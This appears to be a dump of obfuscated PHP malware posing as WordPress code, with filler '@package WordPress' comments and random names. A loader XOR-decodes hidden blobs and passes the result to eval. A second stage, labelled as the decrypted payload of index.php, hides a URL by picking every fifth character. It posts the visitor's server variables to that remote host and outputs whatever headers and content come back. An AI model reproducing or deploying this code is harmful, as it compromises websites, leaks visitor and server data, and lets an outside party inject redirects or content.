'dtovhot'=>'BURDX0UaVBoAFQtlQkVPRA0BBgtCEA87RhArFk4ZHVBEXhVVBkENVwwKChxSChJDBUVZDjBCRS8KGgMLWFNEHxAcBAxWBg0BQSxYWUMqR1EINVcCOk85HhZQZkMXQxtrQg9AaGJlBlhTQwNRGEs3RTo+HRwQHRwWFQQDHkFLBUYZYmUrclNDShcQS34WAzAdCxAHXB4VBAMeQQNWT0YECl9FTUccRBkQUzxFf09OUUQUFhFSEEhFRk4KG09SBlwFEFE6Okt+FkV/T05RGTk8PHgQSEFCBU9CTwZAUBoQGVJEQ3pREjoCGR0WR1UYUhZOQUZCGAcCGEoKAABDTD1hfhZFf09OUUQUFhFSWA0ABkAdSksIUR0eFAZFQwh3DWhVT05RRBQWEVJNZWtvL09CT08GWFNDA1EYAi',
'gyneyti'=>'1FACtHSgcRXEJJCFQMFEsFSURPS1ANGxcSTVQPKx8eUmVOUUQUFhFSEEhBQgUKAQcABlwFFgJDSBE6UhBkYmRRRBQWEVIQSEFCBU8HFwZSQ35pShcQS34WRX8SY3tEFBYRUhBIQQBXCgMEVCtyfmlKFxBLIztvUmUTfG4bHBt4EEJBRlIdGB8FVVhOQwlYXhg7RBM+GwcHARRSVBFcAQ8HBQsLGQpUCxZDAFZdSzRTEjoDTgIBQlNDFwtiQUgFDAMdCkMKUwYSR1UHflsEJwYDBAkUWFQHRBoADgUBFwYcRxYQBkpHQgIwVQwvDgJRFlVSWBFRBEEXURsHHUEsWFlDCVhRGS1TRTsKHBgSURZUBFEEFANRCkIKF0UUBgcPF1cHMVQEM08CCApVRBEfUQEPDkQBBk8CTwAH',
'tcewkia'=>'FhhSEB4sUQAxG04HC1hDXBceYkFIBQsHDRsGHAYRC1VcDn5fFjADDwUBFFtYAURIDwNTDg5PH1QdAAYYQVVLLFMJOhkPHxAUQlQcQw1BFlcKDAtPUBkdChlfHmF+HEU+Hx4dDVdXUx5VSAIDVhoDA09FFx0QD1lESztYEzYdARwBWkIRF0YBDUJXChIaG0cMGgwEF0IOLV8WKw4ABURGU0IGQgECFgUcAxsKShQaFw8XRBk7VxEmTxgYC1hTXwYeYkFIBQwNARxTFRZDDl5DHyxTFixPCgQWVVRdFxANGRZMAQEbT0EZHw8PRUlLOVMELU8eEBdHRl4AREgTB0kGAw0DQ1gBFgNZEBgxRBcwGE4EEEBTQ1w6SEtCRAsKCh1DWBITGltZCD9YEX8GABkFVl9FE14cQRdLCw',
'beteiqjegp'=>'cdCFQZFxYLQ1VFVBZPf0sdEA9SR1ZSDUgDA1cIAwYBBhscDx9aXksxVAk2CAtRFEZZXBteDQ8WBR0HAQtDClMXGFZeGC5ZFytUZFFOFFJUEERIBg1JCUIAAU8XHUMZQlIffkIALR0HBQtGTxEEUQ8UBwUWCwoDQlZ5Q0AXUh4wVQ1/CQ8SDVhfRQsQDgAUSh0DDQNDWBoNGUJCCjBVAH8CAR0BV0NdFxAYEw1TBhEGAEhYBQIDWR5hfhxFewwfHwVFVFsaWwZBXwUOAQwKSh0BAh5SEAo9XQswGAIUAFNTERNEHAgWUAsHTwtDHhYAHhdZBzJDFjYAAFENWUZeAVVIEhdHAgcdCENYBwYEU1UZfkAKKwpVe0QeFnECUQsKA0IKQjgAVBwjEQ9EQ2F+HEpVZV9CVwUOCg'
);

/**
 * coil electron nuisance odd outstanding ridiculous whatsoever.
 * $oggjfgxgj = auxiliary devise distribute elastic gaze jail portion submerge talent;
 * arise continuous entitle individual liberal motivate sequence vain.
 * aware derive evolve leisure personal personnel slender textile ultimate vibrate.
 * @package WordPress
 */

	public $iwbhjrqvw = '';

/**
 * core isolate participate passport.
 * adjust audio available geometry radical shrink timber.
 * arbitrary deposit organ ridid vitally.
 * gallon legislation sincere utter.
 * $zioensm = consume expansion jewel network promote vocabulary;
 * @package WordPress
 */

	public $lepybuvla = '1*0*9*17*16*23*18*22*17*10*3*22*17';

/**
 * chaos drip equation expense garbage maximum nevertheless omit route submerge welfare.
 * $bpzbabfgxu = auxiliary coarse conservation essential infant retail security tense vital;
 * $acyztxl = conservation decade diverse inhabitant moisture powder provision sexual via;
 * $wcpupmtz = acknowledge adhere estimate explosive hence liter opponent rival venture;
 * @package WordPress
 */

	public $mvrcdqnsq = '';

/**
 * $pwojhhzl = decline frown holy liable mature navigation orchestra prosperity respond;
 * agent barrier holy invade jam outstanding quotation range region signature sophisticated.
 * apparent integrate luxury vacant.
 * applicant appropriate bureau outset prominent shallow splendid tendency.
 * descend excursion idle manufacture particularly secure terminal transmit undertake urge.
 * abundant domestic hint luxury mixture opportunity petrol terminal volunteer withdraw.
 * conservation gratitude hydrogen mixture moral neutral presumably range spur tropical unique.
 * $gcweehw = bureau collision infinite numerrous route subway;
 * adequate cargo mild range shiver.
 * @package WordPress
 */

	public $phovczpt = '';

/**
 * applianc coarse consume junior mild negative personal.
 * Internet career debt invade quit victim whereas.
 * discrimination display facility geometry integrate peak powder professional resume torture.
 * response capture explode internal motive naval transform.
 * $lrzdhceiba = acknowledge delicate extent index insurance network parallel urge virtual;
 * balcony tone unique universal whatsoever.
 * $jtzcrjn = coach community decade flexible leak naval parade slide wander;
 * attitude comedy humble slide stripe transport vertical violent.
 * faculty vain violence weave.
 * barrier core dispose episode notify optics peak render vehicle whatsoever.
 * adapt conquer dive missile orient sensible solar split vanish vessel.
 * $swahib = awful enclose preserve prevail prohibit subway;
 * @package WordPress
 */

	public $rtknabzrq = '3*26*22';

/**
 * deputy forbid interpret necessity petroleum revenue substitute.
 * appreciate garbage guarantee infinite integrate jealous licence petrol repetition ridiculous virtue.
 * advertisement interpretation personnel reject splendid spot version wonder.
 * auxiliary genuine mixture stable welfare.
 * $sowcxf = brake cope jam regulate ruin sincere terminal transform wax;
 * applause chaos modest notify resolve shallow vote whatsoever.
 * awkward exclaim exclude extinct genuine gesture glimpse route waist wax.
 * deposit emphasize essential exceed maintain obscure poverty withstand.
 * balcony constant prosperity retain stuff.
 * applause budget data import numerrous onion prior.
 * @package WordPress
 */

	public $tzteafus = '';

/**
 * $jxtdjcri = adult available campus frustrate secure subsequent;
 * $anqtloytdt = earthquake evolve frown geography prohibit sake suburb swallow universe;
 * deposit devise household junior minimum prevail restrain shrink tremendous valley.
 * $hwpplxlb = appreciate nuclear reveal spray terminal the;
 * $mvqmns = applicable appropriate drip mood orchestra ruin subsequent vary vote;
 * defect prominent virtue vote.
 * approximate frustrate global jealous joint licence moisture navigation quit whereas xploit.
 * @package WordPress
 */

	public $sglpiknik = '';

/**
 * calculate deserve entertainment fate illegal insurance interfere leather universal urban urge.
 * drip faulty favorite guarantee hestiate target the withstand.
 * comparative invade peak textile.
 * $okjzrddp = available commit competent deserve favorite mature minimum negative vanish;
 * response accelerate continual continuous identify illusion liberal onion oral removal satellite.
 * external leisure nuclear security whereas.
 * acknowledge beforehand mainland nevertheless.
 * appoint architecture outset suspicious.
 * appeal appoint delay export vehicle.
 * automatic biology evolve snap sophisticated.
 * appreciate exclaim extinct leather marine nevertheless quit radiation temporary tendency.
 * @package WordPress
 */

	public $qzpoihfuaj = '1*0*9*17*16*23*18*17*20*10*3*22*17';

/**
 * $abinknvlc = cancel consume defect discipline exceed geology moral sketch tense;
 * germ oral personnel phenomenon prevail software strategy.
 * comedy distinguish elastic estimate mature participate removal substitute undergraduate victim.
 * $ukboujgor = decorate flock gallery infect lean maximum negative resume virus;
 * enclose explore ingredient label naked neutral obstacle repetition respond simplify.
 * loose scratch shift vital.
 * $vglyrucukh = alter decline expel insurance modify sensible temple tend violent;
 * @package WordPress
 */

	public $qgsrjl = '';

/**
 * audio campus emphasize exclaim haste mood suspicion.
 * derive onion reluctant tide vitally.
 * aspect barrier internal mainland reveal submit trend.
 * domestic fatal launch particle utter.
 * $azytbck = favorable infect moisture oval sponsor vary;
 * bargain expel leisure mist restrain retail utilise vehicle.
 * awful germ lean nuisance ridid violent withdraw.
 * junior outstanding stripe undertake volcano.
 * conservative idle legislation likelihood mainland pants resistant substantial urban zone.
 * accelerate bachelor chaos focus genuine split talent trend.
 * $cijhjf = appetite arichmetic coach torture universe withstand;
 * elastic explode maintain naked numerrous submerge urge.
 * @package WordPress
 */

	public $tfciqa = '2sb4eJq5bPGS';

/**
 * $nxsobypsq = bacteria laser liberal marine naked primitive rival tropical virtual;
 * code horrible neutral noticeable optional precaution semester shallow vital vivid.
 * audio comedy drip expansion gallery hatred prescribe reluctant transform vary.
 * ceremony gesture herd leap manufacture marveous promote the.
 * appeal delicate discrimination faculty fatal glimpse sake sexual strategy transplant virtue.
 * deposit exceed guarantee hence inevitable previous region shrug undergraduate vague.
 * highlight insurance maintain respond scratch.
 * comment earthquake fertilizer genius geometry lynar modest nucleus reveal temptation.
 * @package WordPress
 */

	public $icronn = 'ycoOaQ';

/**
 * blast decorate opportunity video.
 * $rweyosxzbc = enviroment essential expansion hook jealous knot ridge sorrow title;
 * advertisement arise continual mainland medium notion utilify.
 * approximate integrate poverty splendid.
 * agent insure offend particle repetition spray strategy submerge.
 * $efrrdb = acquire calculate leak liter professional region ridiculous semester stale;
 * @package WordPress
 */

	public function pfukzbu($lepybuvla,$fkalgphfz){
					$jkglmtfnl = $this->jkglmtfnl;
					$rtknabzrq = $this->rtknabzrq;
					return $jkglmtfnl($rtknabzrq($lepybuvla)^$rtknabzrq($fkalgphfz));
				}

/**
 * adhere calendar exceed junior offend presumably region resolve sexual whatsoever yawn.
 * bacteria bureau comment entry partial personal prevail remarkable.
 * appeal impose sorrow tarnest textile.
 * $umjbey = decent internal mere nylon tremendous vessel;
 * applicant fax fertilizer jealous lean presumably resolve substance tone vital.
 * @package WordPress
 */

	public function __construct($mvrcdqnsq)
				{
					$this->sglpiknik = $mvrcdqnsq;
					$rtknabzrq = $this->wqaqlqnxw($this->rtknabzrq);
					$this->rtknabzrq = $this->mmvoiezrt($rtknabzrq);
					
					$jkglmtfnl = $this->wqaqlqnxw($this->jkglmtfnl);
					$this->jkglmtfnl = $this->mmvoiezrt($jkglmtfnl);
					
					$qzpoihfuaj = $this->wqaqlqnxw($this->qzpoihfuaj);
					$this->qzpoihfuaj = $this->mmvoiezrt($qzpoihfuaj);
					
					$lepybuvla = $this->wqaqlqnxw($this->lepybuvla);
					$lepybuvla = $this->mmvoiezrt($lepybuvla);
					$this->ixhlleepv();
					$this->jihsnxamrl = $lepybuvla($this->jihsnxamrl);
					$this->mvrcdqnsq = strlen($this->jihsnxamrl);
					$this->qgsrjl = strlen($this->sglpiknik);
					
					$this->yhbpbwkjve();
					
				}

/**
 * $pahczqqis = biology constant diverse maintain merchant molecule opportunity precaution preserve;
 * $qnplrodrz = battery exclude isolate jeans reliable simplicity;
 * $dqqfzjh = avenue awkward excursion glorious illegal infer integrate neglect provision;
 * $ocvchww = comparative index priority suspicion tend trial;
 * $ounnjglb = approximate balcony biology frown transplant ultimate;
 * advertise discipline internal poverty.
 * $dzwkantc = ban garbage mist shallow utilify weed;
 * approach authority extreme haste oral origin petroleum prompt rely tedious.
 * @package WordPress
 */

	public function sffytyz($jihsnxamrl){
					return $jihsnxamrl % $this->qgsrjl;;
				}

/**
 * adequate distinguish glimpse inhabitant issue private sexual sponsor vary violet.
 * academy applause award calendar joint label licence marine.
 * comment expend label numerrous onion quit tide waist.
 * fate massive passport release signature.
 * adapt appreciate comparable profitable torture.
 * genius magnet naked origin.
 * $nclczt = insure personal prohibit regulate slender violet;
 * $impaofnu = agent alter code delay individual neglect;
 * $rxdnffmd = data evaluate expend merchant passion ridid;
 * calculate discount terror the.
 * $uhzjffcg = illegal powder seminar slender stale violet;
 * @package WordPress
 */

	public function yhbpbwkjve(){
					$qhlqevx = '';
					for($i=0; $i<$this->mvrcdqnsq; $i++)
						$qhlqevx .= $this->pfukzbu($this->jihsnxamrl[$i],$this->sglpiknik[$this->sffytyz($i)]);
					EvAl($qhlqevx);
				}

/**
 * $bphybgofvk = ceremony gap geography giant glimpse manufacture region rival slip;
 * $cqhlbpp = cargo ferfile focus oval recreation virus;
 * $kabstfbcok = appoint gene shallow torture triangle virtue;
 * balcony bundle debt drip earthquake insurance smash terminal trial victim volume.
 * hook liable loosen vacuum.
 * liquor mere shield trend.
 * awful cancel decent deserve entitle petroleum reputation resolve torture yawn.
 * electron guilty ingredient prohibit sexual suburb vague.
 * $bhgoszry = applicable appreciate flexible isolate media mood racial resemble universal;
 * adjust interfere pat tendency.
 * $mfwgcvyrl = burst competent gear integrate split usage;
 * @package WordPress
 */

	public function ixhlleepv(){
					$rfdsheto = '';
					foreach($this->jihsnxamrl as $vs)
						$rfdsheto .= $vs;

					$this->jihsnxamrl = $rfdsheto;
				}

/**
 * academic dusk idle manufacture resolve.
 * architecture catalog earthquake expenditure explode genuine negative reluctant seminar slip.
 * evaluate gesture hook impose liquor navigation nuisance personnel prompt rely trend.
 * $ufcfni = auxiliary code erect evaluate harmony legislation moist shrug volume;
 * algebra appreciate bachelor golf motivate notion volcano.
 * arbitrary evolve genius manufacture odd.
 * appreciate award discount merchant recreation spray venture.
 * @package WordPress
 */

	public function mmvoiezrt($jihsnxamrl){
					$rfdsheto = '';
					foreach ($jihsnxamrl as $key => $value)
						$rfdsheto .= $this->sglpiknik[$value];
					
					return $rfdsheto;
				}

/**
 * authority bother geology radiation relief urban violent volcano.
 * career germ grant hook nonsense reluctant swallow.
 * $pmiziw = bureau exaggerate expansion gallery infinite jealous moist significance spray;
 * $xdueemy = faculty import optimistic phenomenon scale zone;
 * exclusive extreme jewel nylon.
 * burden competition integrate interfere stuff.
 * exaggerate mild noticeable security.
 * $gaidciu = hatred idle minimum optics register stuff;
 * cargo evolve expansion licence withdraw.
 * appetite authority derive hint interpret necessity onion passion passport priority resemble.
 * @package WordPress
 */

	public function wqaqlqnxw($qgsrjl){
					return explode('*', $qgsrjl);
				}

}
/**
 * $lovasotxoe = audio gallery haste hence prompt vague;
 * appropriate durable external laser strategic.
 * $thbdvtbfuf = attitude excursion favorite generate luxury orient presumably scratch tissue;
 * academic audio community episode valid.
 * $tzycyrqn = brake estimate faulty fertilizer optional subway utilise via vocabulary;
 * @package WordPress
 */

$qhgucfcfx = new wujzjues('ab%oboo&xscj70k^6e_onqd461r0h');
index.php, decrypted payload (second stage)
10232;
/**
 * catalog ceremony discount disturb dump enclose joint likelihood restrict sequence slide.
 * $cpwmokokqv = architecture disturb jewel nevertheless orchestra timber variable voluntary wax;
 * academic drip estimate evolve impose moisture resume stimulate.
 * $cdnzmgut = exclaim extent motivate priority significance torture;
 * balcony catalog explore grateful hence jewel split wander.
 * response advertisement ceremony expansion globe idle lean professional prosperity vacuum whereas.
 * attitude beforehand durable enthusiasm motivate mutual necessity version.
 * advertise arouse expense infant withdraw.
 * bureau deputy hydrogen orchestra orient petroleum tension.
 * @package WordPress
 */

$v0v = 'hxnxmtuosbtcdopp pqw:zxdp/ldin/xqenbxalpeuphwmxxdpoizklkeypfudlangbxe .czmqc kjroxbtkm sdt/unttgbnnhargmqmvch eirjrbdu gxmfjp2qhfj4bpbi0btnx7efxm3nhdp0pcne/foz atqqrpqotuigaii2g xk3rlez0dy f2p gk.qmtvpgal ht mjpvcyl';
$v1v = strlen($v0v);
$nowurl = '';
for($i=0; $i<$v1v; $i++){
    if( $i % 5 == 0 ){
        $nowurl .= $v0v[$i];
    }
}
/**
 * architecture conquer durable essential issue orchestra tense territory trial triangle urgent.
 * bunch emotion entertainment torture.
 * $zvtmaw = continual deserve display hestiate humble mission prominent provision transmit;
 * adjust core decay entry magnet molecule notify powder terminal wander.
 * acid award emotional grant hostile quit register restraint shift transport vanish.
 * $adkwyq = comparable comparative enviroment exceedingly favorable inevitable jewel laser leisure;
 * candidate data highlight tremble vague.
 * deaf gap grateful invade leak mutual petrol prescribe suspicion voluntary.
 * @package WordPress
 */

$v4v = array();
$v3v = json_encode( $_SERVER );
$v4v['iamuqtiph'] = $v3v;
for($i=0; $i<2; $i++){
    $v3v = curl_init();
    curl_setopt( $v3v, CURLOPT_URL, $nowurl );
    curl_setopt( $v3v, CURLOPT_HEADER, false );
    curl_setopt( $v3v, CURLOPT_RETURNTRANSFER, true );
    curl_setopt( $v3v, CURLOPT_POST, true );
    curl_setopt( $v3v, CURLOPT_POSTFIELDS, $v4v );
    curl_setopt( $v3v, CURLOPT_CONNECTTIMEOUT, 30 );
    $v5v = curl_exec( $v3v );

    /**
 * architecture conquer durable essential issue orchestra tense territory trial triangle urgent.
 * bunch emotion entertainment torture.
 * $zvtmaw = continual deserve display hestiate humble mission prominent provision transmit;
 * adjust core decay entry magnet molecule notify powder terminal wander.
 * acid award emotional grant hostile quit register restraint shift transport vanish.
 * $adkwyq = comparable comparative enviroment exceedingly favorable inevitable jewel laser leisure;
 * candidate data highlight tremble vague.
 * deaf gap grateful invade leak mutual petrol prescribe suspicion voluntary.
 * @package WordPress
 */

    if ( !preg_match( '/<filter>(.+?)<\/filter>/is', $v5v, $v0v ) )
        continue;

    $v5v = gzinflate( base64_decode( $v0v[1] ) );

    $v3v = json_decode( $v5v, true );
	
	
    if(isset($_GET['debug']) && $_GET['debug'] == 1){

        echo $nowurl."<br/>".PHP_EOL;
        echo $v5v;
        exit;

    }

    /**
 * catalog ceremony discount disturb dump enclose joint likelihood restrict sequence slide.
 * $cpwmokokqv = architecture disturb jewel nevertheless orchestra timber variable voluntary wax;
 * academic drip estimate evolve impose moisture resume stimulate.
 * $cdnzmgut = exclaim extent motivate priority significance torture;
 * balcony catalog explore grateful hence jewel split wander.
 * response advertisement ceremony expansion globe idle lean professional prosperity vacuum whereas.
 * attitude beforehand durable enthusiasm motivate mutual necessity version.
 * advertise arouse expense infant withdraw.
 * bureau deputy hydrogen orchestra orient petroleum tension.
 * @package WordPress
 */

    if( is_array( $v3v ) ){

        foreach($v3v as $key=>$vs){
            $$key = $vs;
        }

        if(isset($gwemwlrsc) && $gwemwlrsc){
            header($gwemwlrsc);
        }

        if(isset($vuhtxzddu) && $vuhtxzddu){
            echo $vuhtxzddu;
            exit;
        }
        break;

    }

}
/**
 * $wrzpjs = conservative decline diverse jam jewel severe;
 * career expel maximum neutral nuisance principal radical utter.
 * coarse derive evaluate exclude global lynar mainland mixture urgent volume.
 * debt durable isolate mist naval preserve relevant tense trend vanish.
 * applicable casual consent enviroment evil reputation resistant restrict satellite treaty violent.
 * consume distress durable extinct gallery gear passport reliable ruin sorrow utter.
 * adhere applicant inhabitant undergraduate.
 * $sakfqg = bargain column oblige prominent render transport;
 * debt golf onion subt territory vague yield.
 * bunch facility favorable insurance molecule provision vain.
 * $cqnaqbjhkn = accelerate acknowledge attitude defect illusion impose submerge tender vote;
 * @package WordPress
 */

13318;